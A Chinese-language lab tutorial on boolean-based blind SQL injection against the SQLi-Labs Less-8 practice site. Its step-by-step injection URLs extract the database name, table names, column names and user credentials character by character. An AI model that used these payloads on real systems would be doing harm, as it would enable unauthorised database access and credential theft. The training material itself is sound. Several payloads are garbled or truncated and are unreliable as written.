实验目的
了解布尔盲注技术的运用场景及条件,熟悉length()、substr()、ascii()等函数的用法,掌握基于布尔的盲注基本流程。
实验步骤
本实验的目标是:以SQLi-Labs网站的Less-8为入口,利用基于布尔的盲注方式获取SQLi-Labs网站的登录用户名和密码。
1.访问SQLi-Labs 网站
在攻击机 Pentest-Atk打开FireFox浏览器,并访问靶机A-SQLi-Labs 上的SQLi-Labs 网站Less-8。访问的URL为:
http://[靶机IP]/sqli-labs/Less-8/(注意大小写)
登录后,根据网页提示,给定一个?id=1的参数,即:
http://[靶机 IP]/sqli-labs/Less-8 / ?id=1
此时页面显示信息为You are in....显示状态为True.
如果给定一个?id=-1的参数,即:
http:/ / [靶机IP]/sqli-labs/Less-8/?id=-1此时页面显示信息为空,显示状态为False。
可以继续给定不同的id参数进行尝试,发现页面的显示结果只有两种: True或False。由此可以判断,这是一种典型的布尔盲注场景!
说明:本实验环境中 FireFox浏览器已预安装 Hackbar插件,在 FireFox界面按下键盘上的F9键启用或停用(本实验环境中默认为启用状态)。建议在注入过程中用Hackbar插件来调整payload参数!
2.寻找注入点
分别使用以下3条payload寻找注入点及判断注入点的类型:
http://[靶机IP]/sqli-labs/Less-8 / ?id=1'
运行后页面显示为False !
http:// [靶机IP]/sqli-labs/Less-8/?id=1' and '1'='1运行后页面显示为True!
http:/ /[靶机 IP]/sqli-labs/ Less-8/ ?id=1' and '1'='2运行后页面显示为False !
3.盲猜网站当前所在数据库的库名长度
假设当前所在数据库的库名长度为N,尝试使用判断语句length(database())=M,
不断变化M的值去猜测,如果M不等于N,页面应该显示为False;如果M等于N,页面应该显示为True。
例如执行如下payload:
http :/ /[靶机IP]/sqli-labs/Less-8/?id=1' and length( database( ))=7--+显示结果为False,说明网站当前所在数据库的库名长度不是7个字符!
http:/ / [靶机IP]/sqli-labs/Less-8/?id=1' and length(database( ) )=8--+显示结果为True,说明网站当前所在数据库的库名长度为8个字符!
4.盲猜网站当前所在数据库的库名字符串
本步骤通过逐个字母盲猜的方式进行。
假设库名字符串的第1个字母为a,那么条件判断语句substr(库名字符串,1,1)='a'’以及 ascii(substr(库名字符串,1,1))=97返回的结果均应为True (小写字母a的ASCIl码为97);
假设库名字符串的第2个字母为b,那么条件判断语句 substr(库名字符串,2,1))=b’以及ascii(substr(库名字符串,2,1))=98返回的结果均应为True (小写字母b的ASCI码为98);以此类推。
猜测库名的第1个字母:http ://[靶机 IP]/sqli-labs/Less-8?i7/17anesubstr( database(),1,1)='s '--+或
http:/ / [靶机IP]/sqli-labs/Less-8 / ?id=1' andascii(substr( database(),1,1))=115--+
库名的第1个字母为s。
猜测库名的第2个字母:
http://[靶机 IP]/sqli-labs/Less-8/?id=1' and substr(database(),2,1)='e '--+或
http://[靶机 IP]/sqli-labs/Less-8 / ?id=1' andascii(substr( database(),2,1))=101--+
库名的第2个字母为e。
以此类推,最终得到的字符串结果为security.
5.盲猜数据库security 的全部表名
(1)猜测第1张表的表名
猜测第1张表的表名的第1个字符:http://[靶机IP]/sqli-labs/Less-8/?id=1' and substr((select table_name frominformation_schema.tables where table_schema='security' limit 0,1),1,1)='e'--+或http://[靶机IP]/sqli-labs/Less-8/?id=1' and ascii(substr((select table_namefrom information_schema.tables where table_schema= 'security' limit0,1),1,1))=101--+
第1张表的表名的第1个字符为e。
猜测第1张表的表名的第2个字符:http://[靶机IP]/sqli-labs/Less-8/?id=1' and substr((select table_name frominformation_schema.tables where table_schema='security' limit0,1),2,1)= 'm' --+或http://[靶机 IP]/sqli-labs/Less-8/?id=1' and ascii(substr((select table_namefrom information_schema.tables where table_schema= 'security ' limit
第1张表的表名的第2个字符为m。
以此类推,得到security库中的第1张表的名字为emails。
(2)猜测第2张表的表名http://[靶机IP]/sqli-labs/Less-8/?id=1' and substr((select table_name frominformation_schema.tables where table_schema='security' limit1,1),1,1)='r'--+或http:// [靶机IP]/sqli-labs/Less-8/?id=1' and ascii(substr((select table_namefrom information_schema.tables where table_schema= 'security' limit1,1),1,1))=114--+
第2张表的表名的第1个字符为r。
猜测第⒉张表的表名的第2个字符:http://[靶机IP]/sqli-labs/Less-8/?id=1' and substr((select table_name frominformation_schema.tables where table_schema='security' limit1,1),2,1)='e'--+
或http://[靶机 IP]/sqli-labs/Less-8/?id=1' and ascii(substr((select table_namefrom information_schema.tables where table_schema= 'security' limit1,1),2,1))=101--+
第2张表的表名的第2个字符为e。以此类推,得到security库中的第2张表的名字为referers.
依据上述方法,通过不断变换limit和 substr()函数中的参数,可以最终得到security库中所有表的表名: emails、referers、uagents和l users。其中,第4张表users当中可能存放着网站用户的基本信息。
6.盲猜users表的全部字段名
(1)猜测第1个字段名
猜测第1个字段名的第1个字符:
http:/ /[靶机IP]/sqli-labs/Less-8/?id=1' and substr((select column_name frominformation_schema.columns where table_schema= 'security' andtable_name='users' limit 0,1),1,1)='i'--+
或
http:// [靶机 IP]/sqli-labs/Less-8/?id=1' and ascii(substr((select column_namefrom information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105--+
猜测第1个字段名的第2个字符:http://[靶机 IP]/sqli-labs/Less-8/?id=1' and substr((select column_name frominformation_schema.columns where table_schema= 'security' andtable_name='users' limit 0,1),2,1)='d'--+
或http:// [靶机 IP]/sqli-labs/Less-8/?id=1' and ascii(substr((select column_namefrom information_schema.columns where table_schema='security' and table_name ='users' limit 0,1),2,1))=100--+
第1个字段名的第2个字符为d。以此类推,得到users表中的第1个字段名为id。
依据上述方法,通过不断变换limit和 substr()函数中的参数,可以最终得到users
表中所有字段名: id、username和 password。
7.盲猜users表username和l password字段的全部值
( 1)猜测第1组数据
猜测第1组数据的第1个字符:http://[靶机 IP]/sqli-labs/Less-8 / ?id=1' and substr( (select concat_ws( ' , ' ,username ,password ) from security.users limit 0,1),1,1)='D'--+或http ://[靶机 IP]/sqli-labs/Less-8/?id=1' and ascii(substr((select concat_ws( ' , ' ,username ,password ) from security.users limit 0,1),1,1))=68--+
第1组数据的第1个字符为D。
猜测第1组数据的第2个字符:
http://[靶机 IP]/sqli-labs/Less-8 /?id=1' and substr((select
concat_ws( ' , ' ,username , password) from security .users limit 0,1),2,1)='u'--+
或
http:/ / [靶机IP]/sqli-labs/Less-8/?id=1' and ascii(substr((select
concat_ws( ' , ' ,username ,password) from security.users limit 0,1),2,1))=117--+
第1组数据的第2个字符为u。
以此类推,得到第1组数据为“Dump,Dump"。
注意:字符串中的逗号(,)也是需要进行猜测比对的!例如第1组数据的第5个字符:
http :/ / [靶机IP]/sqli-labs/Less-8/ ?id=1' and substr((select
concat_ws( ' , ' ,username , password) from security.users limit 0,1),5,1)=', '--+
或
http:// [靶机IP]/sqli-labs/Less-8/?id=1' and ascii(substr((select
concat_ws ( ' , ' ,username ,password) from security .users limit 0,1),5,1))=44--+
(2)猜测第⒉组数据
猜测第⒉组数据的第1个字符:
http://[靶机IP]/sqli-labs/Less-8/?id=1' and substr((select
concat_ws ( ' , ' ,username ,password ) from security.users limit 1,1),1,1)='A'--+
或
http://[靶机 IP]/sqli-labs/Less-8/?id=1' and ascii(substr((select
concat_ws( ' , ' ,username ,password ) from security.users limit 1,1),1,1))=65--+第﹖组数据的第1个字符为A。
猜测第2组数据的第2个字符:
http://[靶机 IP]/sqli-labs/Less-8/ ?id=1' and substr((select
concat_ws( ' , ' ,username , password ) from security.users limit 1,1),2,1)='n '--+
或
http:/ / [靶机 IP]/sqli-labs/Less-8/?id=1' and ascii(substr((select
concat_ws( ' , ' ,username ,password) from security.users limit 1,1),2,1))=110--+
第2组数据的第2个字符为n。
以此类推,得到第﹖组数据为"Angelina,l-kill-you"。
依据上述方法,通过不断变换limit和 substr()函数中的参数,可以最终得到users
表中username和 password字段的全部值。
实验至此结束。
实验总结
本次实验,成功实现了对存在字符型GET注入点的网站的手工SQL注入,熟悉了length()、substr()等函数的用法,掌握了基于布尔的盲注方法和流程。